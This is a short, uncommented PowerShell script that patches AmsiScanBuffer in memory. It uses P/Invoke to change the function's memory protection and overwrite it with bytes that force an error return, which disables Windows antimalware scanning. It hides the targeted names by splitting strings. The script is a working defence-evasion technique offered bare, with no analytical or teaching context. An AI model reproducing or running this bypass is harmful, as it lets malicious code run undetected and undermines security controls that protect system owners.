W

$W = @"
using System;using System.Runtime.InteropServices;public class W {[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string name);[DllImport("kernel32")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);}
"@;Add-Type $W;
$L = [W]::LoadLibrary("am" + "si.dll");$A = [W]::GetProcAddress($L, "Amsi" + "Scan" + "Buffer");$q = 0;$oldProtect = 0;$result = [W]::VirtualProtect($A, [uint32]5, 0x40, [ref]$oldProtect);$P = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3);$c = [System.Type]::GetType("System.Runtime.InteropServices.Marshal").GetMethod("Copy", [reflection.bindingflags]"Public,Static", $null, @([Byte[]], [Int32], [IntPtr], [Int32]), $null);$c.Invoke($null, @($P, 0, $A, 6));($L -ne [IntPtr]::Zero -and $A -ne [IntPtr]::Zero -and $result)